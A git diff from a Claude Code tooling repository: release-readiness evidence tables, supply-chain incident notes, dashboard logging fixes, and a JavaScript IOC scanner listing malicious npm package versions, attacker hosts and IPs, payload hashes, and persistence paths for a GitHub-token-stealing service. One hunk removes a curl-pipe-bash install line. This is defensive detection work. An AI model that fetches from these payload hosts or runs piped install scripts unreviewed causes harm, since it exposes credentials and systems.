| OpenCode package | Build output is regenerated from source and package metadata is current | `npm run build:opencode` | `Blocker: none for local build; public distribution still follows npm/plugin release` | Package owner | Evidence recorded |
|
||||
| ECC Tools billing reference | Any billing claim links to verified Marketplace/App state | `gh api repos/ECC-Tools/ECC-Tools` plus app/marketplace URL check | `Blocker:` | ECC Tools owner | Pending |
|
||||
| Announcement copy | X, LinkedIn, GitHub release, and longform copy point to live URLs | `rg -n "TODO" docs/releases/2.0.0-rc.1` and repeat for `TBD` | `Blocker:` | Release owner | Pending |
|
||||
| ECC Tools billing reference | Any billing claim links to verified Marketplace/App state | `env -u GITHUB_TOKEN gh repo view ECC-Tools/ECC-Tools --json nameWithOwner,isPrivate,viewerPermission` plus app/marketplace URL check | `Blocker: repo access verified on 2026-05-15; billing/product readiness still requires dedicated ECC Tools audit` | ECC Tools owner | Access verified; billing audit pending |
|
||||
| Announcement copy | X, LinkedIn, GitHub release, and longform copy point to live URLs | `rg -n "TODO" docs/releases/2.0.0-rc.1` and repeat for `TBD` | `Blocker: final live release/npm/plugin URLs do not exist yet` | Release owner | Pending |
|
||||
| Privileged workflow hardening | Release and maintenance workflows avoid persisted checkout tokens | `node scripts/ci/validate-workflow-security.js` | `Blocker:` | Release owner | Evidence recorded in post-hardening refresh |
|
||||
|
||||
## Required Command Evidence
|
||||
@@ -60,6 +65,9 @@ Record the exact commit SHA and command output before any publication action:
|
||||
| Package surface | `node tests/scripts/npm-publish-surface.test.js` | 0 failures; no Python bytecode in npm tarball | `2/2` passed in May 12 evidence pass |
|
||||
| Release surface | `node tests/docs/ecc2-release-surface.test.js` | 0 failures | `publication-evidence-2026-05-13.md`: 18/18 passed |
|
||||
| Optional Rust surface | `cd ecc2 && cargo test` | 0 failures or explicit deferral | `publication-evidence-2026-05-13.md`: 462/462 passed, warnings only |
|
||||
| Queue baseline | `gh pr list` / `gh issue list` across trunk, AgentShield, JARVIS, ECC Tools, and ECC website | Under 20 open PRs and under 20 open issues | `publication-evidence-2026-05-15.md`: 0 open PRs and 0 open issues across checked repos |
|
||||
| Discussion baseline | GraphQL discussion count and maintainer-touch sweep | No unmanaged active discussion queue | `publication-evidence-2026-05-15.md`: 58 trunk discussions, 0 without maintainer touch; other tracked repos disabled or 0 |
|
||||
| Linear roadmap | Linear project and issue readback | Detailed roadmap exists with release, security, AgentShield, ECC Tools, legacy, and observability lanes | `publication-evidence-2026-05-15.md`: project and 16 issue lanes recorded |
|
||||
|
||||
## Do Not Publish If
|
||||
|
||||
|
||||
@@ -14,6 +14,7 @@ Claude Code remains a core target. Codex, OpenCode, Cursor, Gemini, and other ha
|
||||
- Documented the cross-harness portability model for skills, hooks, MCPs, rules, and instructions.
|
||||
- Added a Hermes import playbook for turning local operator patterns into publishable ECC skills.
|
||||
- Added a local [observability readiness gate](../../architecture/observability-readiness.md) for loop status, session traces, harness audit, and ECC2 tool-risk logs.
|
||||
- Refreshed the release-readiness evidence after the May 2026 Mini Shai-Hulud/TanStack campaign follow-up, including expanded IOC coverage, clean queue/discussion checks, and a detailed Linear roadmap gate.
|
||||
|
||||
## Why This Matters
|
||||
|
||||
@@ -37,6 +38,7 @@ What ships in this surface:
|
||||
- release notes and launch collateral
|
||||
- cross-harness architecture documentation
|
||||
- Hermes import guidance for sanitized operator workflows
|
||||
- publication-readiness evidence for queue state, discussion state, Linear roadmap coverage, and supply-chain follow-up
|
||||
|
||||
What stays local:
|
||||
|
||||
|
||||
@@ -21,10 +21,30 @@ credentials:
|
||||
- Follow-on reporting from StepSecurity, Socket, Aikido, and Wiz describes the
|
||||
same campaign expanding into packages associated with Mistral AI, UiPath,
|
||||
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
|
||||
- Socket's 2026-05-14 `node-ipc` report describes a separate active npm
|
||||
compromise affecting `node-ipc` versions `9.1.6`, `9.2.3`, and `12.0.1`,
|
||||
with historical malicious `node-ipc` versions also blocked by ECC because
|
||||
they carried destructive or unauthorized file-writing behavior.
|
||||
- The live IOC set includes persistence through Claude Code
|
||||
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
|
||||
`gh-token-monitor` LaunchAgent/systemd services. Remove those persistence
|
||||
hooks before rotating a stolen GitHub token.
|
||||
`gh-token-monitor` LaunchAgent/systemd services. Some variants add a
|
||||
dead-man-switch token description
|
||||
`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
|
||||
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
|
||||
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
|
||||
persistence hooks before rotating a stolen GitHub token.
|
||||
- The scanner also watches for late-reporting markers: `router_init.js`
|
||||
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
|
||||
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
|
||||
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
|
||||
Session protocol strings, `claude@users.noreply.github.com` dead-drop
|
||||
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
|
||||
- The `node-ipc` sweep watches for `node-ipc.cjs` payload hash
|
||||
`96097e06...d9034144`, tarball hashes for the malicious `9.1.6`, `9.2.3`,
|
||||
and `12.0.1` artifacts, `sh.azurestaticprovider.net`, `bt.node.js`,
|
||||
`37.16.75.69`, DNS exfil labels `xh` / `xd` / `xf` where present in
|
||||
artifacts, `__ntw`, `__ntRun`, `/nt-` temp archives, and archive entries such
|
||||
as `uname.txt`, `envs.txt`, and `fixtures/_paths.txt`.
|
||||
- The attack chain combined `pull_request_target`, GitHub Actions cache
|
||||
poisoning across a fork/base trust boundary, and OIDC token extraction from a
|
||||
GitHub Actions runner.
|
||||
@@ -37,6 +57,7 @@ Primary references:
|
||||
- <https://tanstack.com/blog/npm-supply-chain-compromise-postmortem>
|
||||
- <https://github.com/advisories/GHSA-g7cv-rxg3-hmpx>
|
||||
- <https://tanstack.com/blog/incident-followup>
|
||||
- <https://socket.dev/blog/node-ipc-package-compromised>
|
||||
- <https://docs.npmjs.com/trusted-publishers/>
|
||||
- <https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem>
|
||||
|
||||
@@ -77,7 +98,11 @@ If ECC or a maintainer machine installed a known-bad package version:
|
||||
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
|
||||
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
|
||||
- `~/.config/systemd/user/gh-token-monitor.service`;
|
||||
- `~/.local/bin/gh-token-monitor.sh`.
|
||||
- `~/.config/systemd/user/pgsql-monitor.service`;
|
||||
- `~/.local/bin/gh-token-monitor.sh`;
|
||||
- `~/.local/bin/pgmonitor.py`;
|
||||
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
|
||||
`/private/tmp/` equivalents on macOS.
|
||||
5. Rotate every credential reachable by the process:
|
||||
- npm automation tokens and maintainer tokens;
|
||||
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;
|
||||
|
||||
@@ -237,9 +237,7 @@ PROMPT 1(协调器) PROMPT 2(子代理)
|
||||
|
||||
### 安装
|
||||
|
||||
```bash
|
||||
curl -fsSL https://raw.githubusercontent.com/AnandChowdhary/continuous-claude/HEAD/install.sh | bash
|
||||
```
|
||||
> **警告:** 请在审阅代码后,从 continuous-claude 的仓库安装。不要将外部脚本直接管道传入 bash。
|
||||
|
||||
### 用法
|
||||
|
||||
|
||||
@@ -10,10 +10,13 @@ import os
|
||||
import json
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
import logging
|
||||
import webbrowser
|
||||
|
||||
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ============================================================================
|
||||
# DATA LOADERS - Load ECC data from the project
|
||||
# ============================================================================
|
||||
@@ -112,9 +115,9 @@ def load_skills(project_path: str) -> List[Dict]:
|
||||
if line.startswith('# '):
|
||||
description = line[2:].strip()[:100]
|
||||
break
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
logger.debug("Failed to parse skill file %s", skill_file, exc_info=True)
|
||||
|
||||
# Determine category
|
||||
category = "General"
|
||||
item_lower = item.lower()
|
||||
@@ -186,9 +189,9 @@ def load_commands(project_path: str) -> List[Dict]:
|
||||
if line.startswith('# '):
|
||||
description = line[2:].strip()
|
||||
break
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
logger.debug("Failed to parse command file %s", item, exc_info=True)
|
||||
|
||||
commands.append({
|
||||
'name': cmd_name,
|
||||
'description': description or cmd_name.replace('-', ' ').title()
|
||||
@@ -280,8 +283,8 @@ class ECCDashboard(tk.Tk):
|
||||
try:
|
||||
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||
self.iconphoto(True, self.icon_image)
|
||||
except:
|
||||
pass
|
||||
except Exception:
|
||||
logger.debug("Failed to load window icon", exc_info=True)
|
||||
|
||||
self.minsize(800, 600)
|
||||
|
||||
@@ -344,8 +347,8 @@ class ECCDashboard(tk.Tk):
|
||||
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||
self.logo_image = self.logo_image.subsample(2, 2)
|
||||
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
|
||||
except:
|
||||
pass
|
||||
except Exception:
|
||||
logger.debug("Failed to load header logo", exc_info=True)
|
||||
|
||||
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
|
||||
self.title_label.pack(side=tk.LEFT)
|
||||
@@ -897,22 +900,20 @@ Project: github.com/affaan-m/everything-claude-code"""
|
||||
def update_widget_colors(widget):
|
||||
try:
|
||||
widget.configure(background=bg_color)
|
||||
except:
|
||||
pass
|
||||
for child in widget.winfo_children():
|
||||
try:
|
||||
child.configure(background=bg_color)
|
||||
except:
|
||||
pass
|
||||
except Exception:
|
||||
logger.debug("Cannot set background on %s", widget.__class__.__name__, exc_info=True)
|
||||
try:
|
||||
children = widget.winfo_children()
|
||||
except Exception:
|
||||
logger.debug("Cannot list child widgets on %s", widget.__class__.__name__, exc_info=True)
|
||||
return
|
||||
for child in children:
|
||||
try:
|
||||
update_widget_colors(child)
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
update_widget_colors(self)
|
||||
except:
|
||||
pass
|
||||
except Exception:
|
||||
logger.debug("Cannot update child widget colors on %s", child.__class__.__name__, exc_info=True)
|
||||
|
||||
update_widget_colors(self)
|
||||
|
||||
self.update()
|
||||
|
||||
|
||||
@@ -63,6 +63,7 @@
|
||||
"rules/",
|
||||
"schemas/",
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/auto-update.js",
|
||||
"scripts/claw.js",
|
||||
@@ -74,6 +75,7 @@
|
||||
"scripts/harness-adapter-compliance.js",
|
||||
"scripts/harness-audit.js",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/platform-audit.js",
|
||||
"scripts/hooks/",
|
||||
"scripts/install-apply.js",
|
||||
"scripts/install-plan.js",
|
||||
@@ -293,6 +295,7 @@
|
||||
"harness:adapters": "node scripts/harness-adapter-compliance.js",
|
||||
"harness:audit": "node scripts/harness-audit.js",
|
||||
"observability:ready": "node scripts/observability-readiness.js",
|
||||
"platform:audit": "node scripts/platform-audit.js",
|
||||
"security:ioc-scan": "node scripts/ci/scan-supply-chain-iocs.js",
|
||||
"claw": "node scripts/claw.js",
|
||||
"orchestrate:status": "node scripts/orchestration-status.js",
|
||||
|
||||
@@ -55,25 +55,40 @@ rules/
|
||||
> Flattening them into one directory causes language-specific files to overwrite
|
||||
> common rules, and breaks the relative `../common/` references used by
|
||||
> language-specific files.
|
||||
>
|
||||
> Use the ECC-owned namespace below for user-level Claude installs. Flat
|
||||
> package-level destinations can collide with non-ECC rule packs and do not
|
||||
> match the main README guidance.
|
||||
|
||||
```bash
|
||||
# Create the ECC rule namespace once.
|
||||
mkdir -p ~/.claude/rules/ecc
|
||||
|
||||
# Install common rules (required for all projects)
|
||||
cp -r rules/common ~/.claude/rules/common
|
||||
cp -r rules/common ~/.claude/rules/ecc/
|
||||
|
||||
# Install language-specific rules based on your project's tech stack
|
||||
cp -r rules/typescript ~/.claude/rules/typescript
|
||||
cp -r rules/angular ~/.claude/rules/angular
|
||||
cp -r rules/python ~/.claude/rules/python
|
||||
cp -r rules/golang ~/.claude/rules/golang
|
||||
cp -r rules/web ~/.claude/rules/web
|
||||
cp -r rules/swift ~/.claude/rules/swift
|
||||
cp -r rules/php ~/.claude/rules/php
|
||||
cp -r rules/ruby ~/.claude/rules/ruby
|
||||
cp -r rules/arkts ~/.claude/rules/arkts
|
||||
cp -r rules/typescript ~/.claude/rules/ecc/
|
||||
cp -r rules/angular ~/.claude/rules/ecc/
|
||||
cp -r rules/python ~/.claude/rules/ecc/
|
||||
cp -r rules/golang ~/.claude/rules/ecc/
|
||||
cp -r rules/web ~/.claude/rules/ecc/
|
||||
cp -r rules/swift ~/.claude/rules/ecc/
|
||||
cp -r rules/php ~/.claude/rules/ecc/
|
||||
cp -r rules/ruby ~/.claude/rules/ecc/
|
||||
cp -r rules/arkts ~/.claude/rules/ecc/
|
||||
|
||||
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
|
||||
```
|
||||
|
||||
For project-local rules, use the same namespace under the project root:
|
||||
|
||||
```bash
|
||||
mkdir -p .claude/rules/ecc
|
||||
cp -r rules/common .claude/rules/ecc/
|
||||
cp -r rules/typescript .claude/rules/ecc/
|
||||
```
|
||||
|
||||
## Rules vs Skills
|
||||
|
||||
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").
|
||||
|
||||
@@ -5,16 +5,85 @@
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const crypto = require('crypto');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const DEFAULT_ROOT = path.resolve(__dirname, '../..');
|
||||
|
||||
const MALICIOUS_PACKAGE_VERSIONS = {
|
||||
'@mistralai/mistralai': ['2.2.3', '2.2.4'],
|
||||
'@mistralai/mistralai-azure': ['1.7.2', '1.7.3'],
|
||||
'@mistralai/mistralai-gcp': ['1.7.2', '1.7.3'],
|
||||
'@opensearch-project/opensearch': ['3.6.2', '3.8.0'],
|
||||
'@beproduct/nestjs-auth': [
|
||||
'0.1.2',
|
||||
'0.1.3',
|
||||
'0.1.4',
|
||||
'0.1.5',
|
||||
'0.1.6',
|
||||
'0.1.7',
|
||||
'0.1.8',
|
||||
'0.1.9',
|
||||
'0.1.10',
|
||||
'0.1.11',
|
||||
'0.1.12',
|
||||
'0.1.13',
|
||||
'0.1.14',
|
||||
'0.1.15',
|
||||
'0.1.16',
|
||||
'0.1.17',
|
||||
'0.1.18',
|
||||
'0.1.19',
|
||||
],
|
||||
'@cap-js/db-service': ['2.10.1'],
|
||||
'@cap-js/postgres': ['2.2.2'],
|
||||
'@cap-js/sqlite': ['2.2.2'],
|
||||
'@dirigible-ai/sdk': ['0.6.2', '0.6.3'],
|
||||
'@draftauth/client': ['0.2.1', '0.2.2'],
|
||||
'@draftauth/core': ['0.13.1', '0.13.2'],
|
||||
'@draftlab/auth': ['0.24.1', '0.24.2'],
|
||||
'@draftlab/auth-router': ['0.5.1', '0.5.2'],
|
||||
'@draftlab/db': ['0.16.1', '0.16.2'],
|
||||
'@mesadev/rest': ['0.28.3'],
|
||||
'@mesadev/saguaro': ['0.4.22'],
|
||||
'@mesadev/sdk': ['0.28.3'],
|
||||
'@ml-toolkit-ts/preprocessing': ['1.0.2', '1.0.3'],
|
||||
'@ml-toolkit-ts/xgboost': ['1.0.3', '1.0.4'],
|
||||
'@mistralai/mistralai': ['2.2.2', '2.2.3', '2.2.4'],
|
||||
'@mistralai/mistralai-azure': ['1.7.1', '1.7.2', '1.7.3'],
|
||||
'@mistralai/mistralai-gcp': ['1.7.1', '1.7.2', '1.7.3'],
|
||||
'@opensearch-project/opensearch': ['3.5.3', '3.6.2', '3.7.0', '3.8.0'],
|
||||
'@squawk/airport-data': ['0.7.4', '0.7.5', '0.7.6', '0.7.7', '0.7.8'],
|
||||
'@squawk/airports': ['0.6.2', '0.6.3', '0.6.4', '0.6.5', '0.6.6'],
|
||||
'@squawk/airspace': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||
'@squawk/airspace-data': ['0.5.3', '0.5.4', '0.5.5', '0.5.6', '0.5.7'],
|
||||
'@squawk/airway-data': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||
'@squawk/airways': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||
'@squawk/fix-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||
'@squawk/fixes': ['0.3.2', '0.3.3', '0.3.4', '0.3.5', '0.3.6'],
|
||||
'@squawk/flight-math': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||
'@squawk/flightplan': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/geo': ['0.4.4', '0.4.5', '0.4.6', '0.4.7', '0.4.8'],
|
||||
'@squawk/icao-registry': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/icao-registry-data': ['0.8.4', '0.8.5', '0.8.6', '0.8.7', '0.8.8'],
|
||||
'@squawk/mcp': ['0.9.1', '0.9.2', '0.9.3', '0.9.4', '0.9.5'],
|
||||
'@squawk/navaid-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||
'@squawk/navaids': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||
'@squawk/notams': ['0.3.6', '0.3.7', '0.3.8', '0.3.9', '0.3.10'],
|
||||
'@squawk/procedure-data': ['0.7.3', '0.7.4', '0.7.5', '0.7.6', '0.7.7'],
|
||||
'@squawk/procedures': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/types': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||
'@squawk/units': ['0.4.3', '0.4.4', '0.4.5', '0.4.6', '0.4.7'],
|
||||
'@squawk/weather': ['0.5.6', '0.5.7', '0.5.8', '0.5.9', '0.5.10'],
|
||||
'@supersurkhet/cli': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||
'@supersurkhet/sdk': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||
'@tallyui/components': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-medusa': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-shopify': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-vendure': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-woocommerce': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/core': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tallyui/database': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/pos': ['0.1.1', '0.1.2', '0.1.3'],
|
||||
'@tallyui/storage-sqlite': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tallyui/theme': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
|
||||
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
|
||||
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
|
||||
@@ -57,37 +126,201 @@ const MALICIOUS_PACKAGE_VERSIONS = {
|
||||
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
|
||||
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
|
||||
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
|
||||
'@taskflow-corp/cli': ['0.1.24', '0.1.25', '0.1.26', '0.1.27', '0.1.28', '0.1.29'],
|
||||
'@tolka/cli': ['1.0.2', '1.0.3', '1.0.4', '1.0.5', '1.0.6'],
|
||||
'@uipath/access-policy-sdk': ['0.3.1'],
|
||||
'@uipath/access-policy-tool': ['0.3.1'],
|
||||
'@uipath/agent.sdk': ['0.0.18'],
|
||||
'@uipath/agent-sdk': ['1.0.2'],
|
||||
'@uipath/agent-tool': ['1.0.1'],
|
||||
'@uipath/admin-tool': ['0.1.1'],
|
||||
'@uipath/aops-policy-tool': ['0.3.1'],
|
||||
'@uipath/ap-chat': ['1.5.7'],
|
||||
'@uipath/api-workflow-tool': ['1.0.1'],
|
||||
'@uipath/apollo-core': ['5.9.2'],
|
||||
'@uipath/apollo-react': ['4.24.5'],
|
||||
'@uipath/apollo-wind': ['2.16.2'],
|
||||
'@uipath/auth': ['1.0.1'],
|
||||
'@uipath/case-tool': ['1.0.1'],
|
||||
'@uipath/cli': ['1.0.1'],
|
||||
'@uipath/codedagent-tool': ['1.0.1'],
|
||||
'@uipath/codedagents-tool': ['0.1.12'],
|
||||
'@uipath/codedapp-tool': ['1.0.1'],
|
||||
'@uipath/common': ['1.0.1'],
|
||||
'@uipath/context-grounding-tool': ['0.1.1'],
|
||||
'@uipath/data-fabric-tool': ['1.0.2'],
|
||||
'@uipath/docsai-tool': ['1.0.1'],
|
||||
'@uipath/filesystem': ['1.0.1'],
|
||||
'@uipath/flow-tool': ['1.0.2'],
|
||||
'@uipath/functions-tool': ['1.0.1'],
|
||||
'@uipath/gov-tool': ['0.3.1'],
|
||||
'@uipath/identity-tool': ['0.1.1'],
|
||||
'@uipath/insights-sdk': ['1.0.1'],
|
||||
'@uipath/insights-tool': ['1.0.1'],
|
||||
'@uipath/integrationservice-sdk': ['1.0.2'],
|
||||
'@uipath/integrationservice-tool': ['1.0.2'],
|
||||
'@uipath/llmgw-tool': ['1.0.1'],
|
||||
'@uipath/maestro-sdk': ['1.0.1'],
|
||||
'@uipath/maestro-tool': ['1.0.1'],
|
||||
'@uipath/orchestrator-tool': ['1.0.1'],
|
||||
'@uipath/packager-tool-apiworkflow': ['0.0.19'],
|
||||
'@uipath/packager-tool-bpmn': ['0.0.9'],
|
||||
'@uipath/packager-tool-case': ['0.0.9'],
|
||||
'@uipath/packager-tool-connector': ['0.0.19'],
|
||||
'@uipath/packager-tool-flow': ['0.0.19'],
|
||||
'@uipath/packager-tool-functions': ['0.1.1'],
|
||||
'@uipath/packager-tool-webapp': ['1.0.6'],
|
||||
'@uipath/packager-tool-workflowcompiler': ['0.0.16'],
|
||||
'@uipath/packager-tool-workflowcompiler-browser': ['0.0.34'],
|
||||
'@uipath/platform-tool': ['1.0.1'],
|
||||
'@uipath/project-packager': ['1.1.16'],
|
||||
'@uipath/resource-tool': ['1.0.1'],
|
||||
'@uipath/resourcecatalog-tool': ['0.1.1'],
|
||||
'@uipath/resources-tool': ['0.1.11'],
|
||||
'@uipath/robot': ['1.3.4'],
|
||||
'@uipath/rpa-legacy-tool': ['1.0.1'],
|
||||
'@uipath/rpa-tool': ['0.9.5'],
|
||||
'@uipath/solution-packager': ['0.0.35'],
|
||||
'@uipath/solution-tool': ['1.0.1'],
|
||||
'@uipath/solutionpackager-sdk': ['1.0.11'],
|
||||
'@uipath/solutionpackager-tool-core': ['0.0.34'],
|
||||
'@uipath/tasks-tool': ['1.0.1'],
|
||||
'@uipath/telemetry': ['0.0.7'],
|
||||
'@uipath/test-manager-tool': ['1.0.2'],
|
||||
'@uipath/tool-workflowcompiler': ['0.0.12'],
|
||||
'@uipath/traces-tool': ['1.0.1'],
|
||||
'@uipath/ui-widgets-multi-file-upload': ['1.0.1'],
|
||||
'@uipath/uipath-python-bridge': ['1.0.1'],
|
||||
'@uipath/vertical-solutions-tool': ['1.0.1'],
|
||||
'@uipath/vss': ['0.1.6'],
|
||||
'@uipath/widget.sdk': ['1.2.3'],
|
||||
'agentwork-cli': ['0.1.4', '0.1.5'],
|
||||
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
|
||||
'cross-stitch': ['1.1.3', '1.1.4', '1.1.5', '1.1.6', '1.1.7'],
|
||||
'git-branch-selector': ['1.3.3', '1.3.4', '1.3.5', '1.3.6', '1.3.7'],
|
||||
'git-git-git': ['1.0.8', '1.0.9', '1.0.10', '1.0.11', '1.0.12'],
|
||||
'guardrails-ai': ['0.10.1'],
|
||||
'intercom-client': ['7.0.4'],
|
||||
'lightning': ['2.6.2', '2.6.3'],
|
||||
'mbt': ['1.2.48'],
|
||||
'mistralai': ['2.4.6'],
|
||||
'ml-toolkit-ts': ['1.0.4', '1.0.5'],
|
||||
'node-ipc': ['9.1.6', '9.2.3', '10.1.1', '10.1.2', '11.0.0', '11.1.0', '12.0.1'],
|
||||
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
|
||||
'safe-action': ['0.8.3', '0.8.4'],
|
||||
'ts-dna': ['3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5'],
|
||||
'wot-api': ['0.8.1', '0.8.2', '0.8.3', '0.8.4'],
|
||||
};
|
||||
|
||||
const CRITICAL_TEXT_INDICATORS = [
|
||||
'@tanstack/setup',
|
||||
'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
|
||||
[
|
||||
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join(''),
|
||||
[
|
||||
'79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join(''),
|
||||
'router_init.js',
|
||||
'router_runtime.js',
|
||||
'tanstack_runner.js',
|
||||
'opensearch_init.js',
|
||||
'vite_setup.mjs',
|
||||
'bun run tanstack_runner.js',
|
||||
'execution.js',
|
||||
'transformers.pyz',
|
||||
'pgmonitor.py',
|
||||
'pgsql-monitor.service',
|
||||
'gh-token-monitor',
|
||||
'com.user.gh-token-monitor',
|
||||
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||
[
|
||||
'ab4fcadaec49c032',
|
||||
'78063dd269ea5ee',
|
||||
'f82d24f2124a8e15',
|
||||
'd7b90f2fa8601266c',
|
||||
].join(''),
|
||||
[
|
||||
'2ec78d556d696e20',
|
||||
'8927cc503d48e4b5e',
|
||||
'b56b31abc2870c2e',
|
||||
'd2e98d6be27fc96',
|
||||
].join(''),
|
||||
'svksjrhjkcejg',
|
||||
'filev2.getsession.org',
|
||||
'seed1.getsession.org',
|
||||
'seed2.getsession.org',
|
||||
'seed3.getsession.org',
|
||||
'signalservice',
|
||||
'git-tanstack.com',
|
||||
'litter.catbox.moe/h8nc9u.js',
|
||||
'litter.catbox.moe/7rrc6l.mjs',
|
||||
'83.142.209.194',
|
||||
'api.masscan.cloud',
|
||||
'claude@users.noreply.github.com',
|
||||
'dependabout/',
|
||||
'OhNoWhatsGoingOnWithGitHub',
|
||||
'voicproducoes',
|
||||
'A Mini Shai-Hulud has Appeared',
|
||||
'Shai-Hulud: Here We Go Again',
|
||||
'PUSH UR T3MPRR',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
[
|
||||
'96097e0612d9575c',
|
||||
'b133021017fb1a5c',
|
||||
'68a03b60f9f3d24e',
|
||||
'bdc0e628d9034144',
|
||||
].join(''),
|
||||
[
|
||||
'449e4265979b5fdb',
|
||||
'2d3446c021af437e',
|
||||
'815debd66de7da2f',
|
||||
'e54f1ad93cbcc75e',
|
||||
].join(''),
|
||||
[
|
||||
'c2f4dc64aec46315',
|
||||
'40a568e88932b61d',
|
||||
'aebbfb7e8281b812',
|
||||
'fa01b7215f9be9ea',
|
||||
].join(''),
|
||||
[
|
||||
'78a82d93b4f58083',
|
||||
'5f5823b85a3d9ee1',
|
||||
'f03a15ee6f0e01b',
|
||||
'4eac86252a7002981',
|
||||
].join(''),
|
||||
'sh.azurestaticprovider.net',
|
||||
'37.16.75.69',
|
||||
'bt.node.js',
|
||||
'__ntw',
|
||||
'__ntRun',
|
||||
'/nt-',
|
||||
'uname.txt',
|
||||
'envs.txt',
|
||||
'fixtures/_paths.txt',
|
||||
];
|
||||
|
||||
const MALICIOUS_FILE_HASHES = {
|
||||
'96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144': {
|
||||
indicator: 'node-ipc.cjs sha256',
|
||||
message: 'Known malicious node-ipc CommonJS payload hash is present',
|
||||
},
|
||||
'449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75e': {
|
||||
indicator: 'node-ipc-9.1.6.tgz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
'c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9ea': {
|
||||
indicator: 'node-ipc-9.2.3.tgz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
'78a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981': {
|
||||
indicator: 'node-ipc-12.0.1.tar.gz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
};
|
||||
|
||||
const DEPENDENCY_FILENAMES = new Set([
|
||||
'package.json',
|
||||
'package-lock.json',
|
||||
@@ -99,21 +332,42 @@ const DEPENDENCY_FILENAMES = new Set([
|
||||
'requirements.txt',
|
||||
]);
|
||||
|
||||
